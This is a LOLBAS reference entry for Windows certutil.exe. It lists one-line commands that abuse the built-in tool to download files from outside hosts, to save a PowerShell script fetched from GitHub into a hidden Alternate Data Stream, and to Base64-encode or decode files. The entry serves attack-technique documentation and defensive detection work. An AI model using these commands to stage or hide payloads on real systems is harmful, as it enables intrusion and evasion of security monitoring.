LOLBAS/OSBinaries/Certutil.exe.md

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## Certutil.exe
* Functions: Download, Add ADS, Decode, Encode
```
certutil.exe -urlcache -split -f http://7-zip.org/a/7z1604-x64.exe 7zip.exe
Download and save 7zip to disk in the current folder.
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
Download and save a PS1 file to an Alternate Data Stream (ADS).
certutil -encode inputFileName encodedOutputFileName
certutil -decode encodedInputFileName decodedOutputFileName
Commands to encode and decode a file using Base64.
```
* Resources:
* https://twitter.com/Moriarty_Meng/status/984380793383370752
* https://twitter.com/mattifestation/status/620107926288515072
* Full path:
* c:\windows\system32\certutil.exe
* c:\windows\sysWOW64\certutil.exe
* Notes: Thanks to Matt Graeber - @mattifestation, Moriarty - @Moriarty2016